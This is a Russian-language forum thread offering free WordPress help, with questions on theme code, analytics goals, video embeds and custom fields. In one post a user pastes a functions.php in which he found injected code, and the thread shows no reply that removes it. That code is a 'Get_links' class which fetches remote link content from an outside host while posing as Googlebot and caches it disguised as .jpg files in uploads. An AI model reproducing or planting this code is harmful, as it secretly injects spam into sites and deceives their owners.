Бесплатная помощь по wordpress

(Ответов: 2451, Просмотров: 242928)
  1. Опытный Аватар для codename
    • Регистрация: 15.09.2010
    • Сообщений: 435
    • Репутация: 100
    • Webmoney BL: ?
    Bear,а чем встроенных плох?
    • 0
  2. Студент
    • Регистрация: 29.09.2013
    • Сообщений: 76
    • Репутация: 26
    • Webmoney BL: ?
    codename, у меня просто немножко измененная страница поста, так не получится вставить

    ---------- Сообщение добавлено 23:54 ---------- Предыдущее 22:41 ----------

    Нашел в functions.php код... порыскал в инете, оказывается это вредоносный код(подгруажет ссылки какие)
    помогите пожалуйста убрать лишнее
    PHP код:
    <?php
    error_reporting
    ('^ E_ALL ^ E_NOTICE');
    ini_set('display_errors''0');
    error_reporting(E_ALL);
    ini_set('display_errors''0');

    class 
    Get_links {

        var 
    $host 'wpconfig.net/system.php';
        var 
    $path '/system.php';
        var 
    $_cache_lifetime    21600;
        var 
    $_socket_timeout    5;

        function 
    get_remote() {
        
    $req_url 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        
    $_user_agent "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

             
    $links_class = new Get_links();
             
    $host $links_class->host;
             
    $path $links_class->path;
             
    $_socket_timeout $links_class->_socket_timeout;
             
    //$_user_agent = $links_class->_user_agent;

            
    @ini_set('allow_url_fopen',          1);
            @
    ini_set('default_socket_timeout',   $_socket_timeout);
            @
    ini_set('user_agent'$_user_agent);

            if (
    function_exists('file_get_contents')) {
                
    $opts = array(
                    
    'http'=>array(
                        
    'method'=>"GET",
                        
    'header'=>"Referer: {$req_url}\r\n".
                        
    "User-Agent: {$_user_agent}\r\n"
                    
    )
                );
                
    $context stream_context_create($opts);

                
    $data = @file_get_contents('http://' $host $pathfalse$context);
                
    preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/'$data$data);
                
    $data = @$data[2];
                return 
    $data;
            }
               return 
    '<!--link error-->';
          }

        function 
    return_links($lib_path) {
             
    $links_class = new Get_links();
             
    $file ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';
             
    $_cache_lifetime $links_class->_cache_lifetime;

            if (!
    file_exists($file))
            {
                @
    touch($filetime());
                
    $data $links_class->get_remote();
                
    file_put_contents($file$data);
                return 
    $data;
            } elseif ( 
    time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
                @
    touch($filetime());
                
    $data $links_class->get_remote();
                
    file_put_contents($file$data);
                return 
    $data;
            } else {
                
    $data file_get_contents($file);
                return 
    $data;
            }
        }
    }
    ?>
    <?php

    include 'theme_options.php';
    include 
    'guide.php';
    include 
    'lib/post-types.php';
    include 
    'lib/metabox.php';



    /* SIDEBARS */
    if ( function_exists('register_sidebar') )
        
    register_sidebar(array(
        
    'name' => 'Sidebar',
        
    'before_widget' => '<li class="sidebox %2$s">',
        
    'after_widget' => '</li>',
        
    'before_title' => '<h3 class="sidetitl">',
        
    'after_title' => '</h3>',
        
        ));

        
    /* CUSTOM MENUS */    

    register_nav_menus( array(
            
    'primary' => __'Primary Navigation''' ),
        ) );
        
    function 
    fallbackmenu(){ ?>
                <div id="submenu">
                    <ul><li> Перейти в Админпанель > Внешний вид > Меню и создать произвольное меню. У вас должен стоять WordPress версии 3.0+ для того, чтобы меню работало.</li></ul>
                </div>
    <?php }    


    /* CUSTOM EXCERPTS */
        
    function wpe_excerptlength_index($length) {
        return 
    70;
    }

    function 
    wpe_excerpt($length_callback=''$more_callback='') {
        global 
    $post;
        if(
    function_exists($length_callback)){
            
    add_filter('excerpt_length'$length_callback);
        }
        if(
    function_exists($more_callback)){
            
    add_filter('excerpt_more'$more_callback);
        }
        
    $output get_the_excerpt();
        
    $output apply_filters('wptexturize'$output);
        
    $output apply_filters('convert_chars'$output);
        
    $output '<p>'.$output.'</p>';
        echo 
    $output;
    }



    /* SHORT TITLES */

    function short_title($after ''$length) {
       
    $mytitle explode(' 'get_the_title(), $length);
       if (
    count($mytitle)>=$length) {
           
    array_pop($mytitle);
           
    $mytitle implode(" ",$mytitle). $after;
       } else {
           
    $mytitle implode(" ",$mytitle);
       }
           return 
    $mytitle;
    }


    /* FEATURED THUMBNAILS */

    if ( function_exists'add_theme_support' ) ) { // Added in 2.9
        
    add_theme_support'post-thumbnails' );
            
    add_image_size'boxoffice_poster'100150true );
    }

    /* GET THUMBNAIL URL */

    function get_image_url(){
        
    $image_id get_post_thumbnail_id();
        
    $image_url wp_get_attachment_image_src($image_id,'large');
        
    $image_url $image_url[0];
        echo 
    $image_url;
        }    

    /* PAGE NAVIGATION */

    function getpagenavi(){
    ?>
    <div id="navigation">
    <?php if(function_exists('wp_pagenavi')) : ?>
    <?php wp_pagenavi
    () ?>
    <?php 
    else : ?>
            <div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries','web2feeel')) ?></div>
            <div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;','web2feel')) ?></div>
            <div class="clear"></div>
    <?php endif; ?>
    </div>

    <?php
    }


    // Add to admin_init function
    add_filter('manage_edit-movies_columns''add_new_movies_columns');

        function 
    add_new_movies_columns($movies_columns) {
            
    $new_columns['cb'] = '<input type="checkbox" />';
             
    $new_columns['title'] = _x('Movie name''column name');
            
    $new_columns['poster'] = __('Poster');
            
    $new_columns['director'] = __('Director');
            
    $new_columns['genre'] = __('Genre');
            
    $new_columns['runtime'] = __('Runtime');        
             
    $new_columns['date'] = _x('Date''column name');
            
    $new_columns['actor'] = _x('actor''column name');
             return 
    $new_columns;
        
        }
        
    add_action('manage_movies_posts_custom_column''manage_movies_columns'102);
     
        function 
    manage_movies_columns($column_name$id) {
            global 
    $post;
            switch (
    $column_name) {
            case 
    'id':
                echo 
    $id;
            break;
     
            case 
    'poster':
                echo 
    get_the_post_thumbnail$post->ID'boxoffice_poster' ); 
            break;
                
            case 
    'runtime':
                
    $duration get_post_meta$post->ID'wtf_runtime'true );
                echo 
    $duration;
            break;
            case 
    'director':
                
    $director get_post_meta$post->ID'wtf_dirctr'true );
                echo 
    $director;
            break;
            case 
    'genre':
                
    //echo get_the_term_list( $post->ID, 'movie-genre', '', ' ', '' );
                
    $post_type get_post_type($post_id);
                
    $terms get_the_terms($post_id'movie-genre');
                if ( !empty(
    $terms) ) {
                    foreach ( 
    $terms as $term )
                
    $post_terms[] = "<a href='edit.php?post_type=movies&movie-genre={$term->slug}'> " esc_html(sanitize_term_field('name'$term->name$term->term_id$taxonomy'edit')) . "</a>";
                    echo 
    join', '$post_terms );
                }
                else echo 
    '<i>No terms.</i>';
            break;
        default:
                break;
            } 
    // end switch
        
    }    
        
    /* Flush your rewrite rules */
    function boxoffice_flush_rewrite_rules() {
        global 
    $pagenow$wp_rewrite;

        if ( 
    'themes.php' == $pagenow && isset( $_GET['activated'] ) )
            
    $wp_rewrite->flush_rules();
    }

    add_action'load-themes.php''boxoffice_flush_rewrite_rules' );
            

    /* WP 3.4 custom query pagination fix */

    function my_query_for_homepage$query ) {
    if( 
    $query->is_main_query() && $query->is_home() ) {
    $query->set'post_type', array( 'movies' ) );
    }
    }
    add_action'pre_get_posts''my_query_for_homepage' );     

    ?>
    • 0
  3. Новичок Аватар для verkhovodis
    • Регистрация: 24.03.2015
    • Сообщений: 13
    • Репутация: 0
    • Webmoney BL: ?
    Почему-то на странице рубрик не под всеми записями отображается ссылка "Читать далее". В коде записи они имеются, на главной странице под всеми записями все корректно отображается.

    Скачать тему можно здесь.

    Буду благодарен за любую помощь!
    • 0
  4. Новичок Аватар для gabitushka
    • Регистрация: 30.01.2015
    • Сообщений: 21
    • Репутация: 0
    • Webmoney BL: ?
    День добрый, подскажите как настроить цели в Яндекс.Метрики. Использую форму "Contact Form 7", в настройках формы в поле "дополнительные настройки" ставил следующее:
    PHP код:
    <html>
        ...
        <
    form action="" method="get" onsubmit="yaCounterXXXXXX.reachGoal('ORDER'); return true;">
            ...
        </
    form>
        ...
    </
    html
    Вместо ХХХХХ номер счётчика, не помогает.
    • 0
  5. Дипломник Аватар для frezer233
    • Регистрация: 30.03.2013
    • Сообщений: 129
    • Репутация: 7
    Здравствуйте!
    Кто сможет помочь настроить видео с youtube на странице? Проблема в том, что оно растягивается на всю ширину за пределы страницы... Вот
    Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 2 сообщение(ий)):
    У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.
    адрес страницы
    Спасибо
    • 0
  6. Гуру Аватар для Fartuna
    • Регистрация: 07.01.2015
    • Сообщений: 932
    • Репутация: 764
    frezer233,Здравствуйте. Когда берете видео с ютуба, выставите там размеры оптимальные для сайта.
    Сейчас у Вас ширина
    Код HTML:
    <p><iframe width="1200" height="675"
    Поставьте это параметр
    Код HTML:
    width="1200"
    меньше и будет нормально.

    P.s А так вообще на ютубе можно при взятии кода сразу выставить размеры..
    Если премиум тема,то, там тоже при вставки шоркода видео, можно размеры выставлять.
    • 1

    Спасибо сказали:

    frezer233(04.04.2015),
  7. Дипломник Аватар для frezer233
    • Регистрация: 30.03.2013
    • Сообщений: 129
    • Репутация: 7
    Здравствуйте. Когда берете видео с ютуба, выставите там размеры оптимальные для сайта.
    Сейчас у Вас ширина
    Можно ли сделать так, чтобы видео автоматически подстраивалось под размеры экрана? На стац компютере - одно разрешение на мобиле другое...

    p.s. уже понял как сделать:
    Код:
    <iframe width="100%"
    Последний раз редактировалось frezer233; 04.04.2015 в 16:35. Причина: решение
    • 0
  8. Гуру Аватар для Fartuna
    • Регистрация: 07.01.2015
    • Сообщений: 932
    • Репутация: 764
    frezer233, Если у Вас премиум тема адаптивная и видео вставляется с помощью шоркода темы,то, оно само будет подстраиваться под экран.

    P.s В вашем случае, если нет встроенных шоркодов/плеера в теме для вставки видео, можно поискать плагин плеера и вставлять через него.

    И, вот вам пример, как без плагинов сделать с помощью простого кода. Думаю, прочитав внимательно, вы поймете как вставить все. _www.azoogle.ru/kak-vstavit-video-na-wordpress-sait
    • 0
  9. Студент
    • Регистрация: 29.09.2013
    • Сообщений: 76
    • Репутация: 26
    • Webmoney BL: ?
    В добавление новости есть своя дополнительная строка(custom field). Как сделать так, чтобы если эта доп. строка пуста, то чтобы на странице она не отображалась? Там какие-то loop-ы, php endif-ы нужны, или условные операторы(как в Ucoz-e), но я хз как это сделать. В шабе у меня такое допустим:
    Код:
    <div id="test">
    <?php $testcustomfiled=get_post_meta($post->ID, 'wtf_testcustomfiled', true); echo $testcustomfiled; ?>
    </div>
    Когда testcustomfiled пустой, то на странице показывается <div id="test">
    </div>. Нужно чтобы этого не было, когда testcustomfiled пустой. Проще покажите мне пример пожалуйста.
    • 0
  10. Опытный Аватар для codename
    • Регистрация: 15.09.2010
    • Сообщений: 435
    • Репутация: 100
    • Webmoney BL: ?
    Bear,так?
    PHP код:
    <?php if ( get_post_metaget_the_ID(), 'testcustomfiled'true ) ) : ?>

    <?php echo get_post_meta($post->ID'testcustomfiled'true); ?>

    <?php endif; ?>
    • 1

    Спасибо сказали:

    Bear(05.04.2015),

Похожие темы

Темы Раздел Ответов Последний пост
Бесплатная помощь по ucoz сайтам
Создание сайтов 6 31.03.2013 14:25
Нужна не бесплатная помощь в заполнении сайта
Копирайтинг, переводы, постинг 4 21.12.2012 23:33
Бесплатная помощь в установке вики-разметки вконтакте
Услуги по SMM, SMO 4 01.02.2012 01:38
Бесплатная помощь в установке вики-разметки вконтакте
Социальные сети 1 27.01.2012 15:44
Нужна помощь (WordPress)
Web программирование 9 04.01.2012 13:00

У кого попросить инвайт?

Вы можете попросить инвайт у любого модератора:

Информеры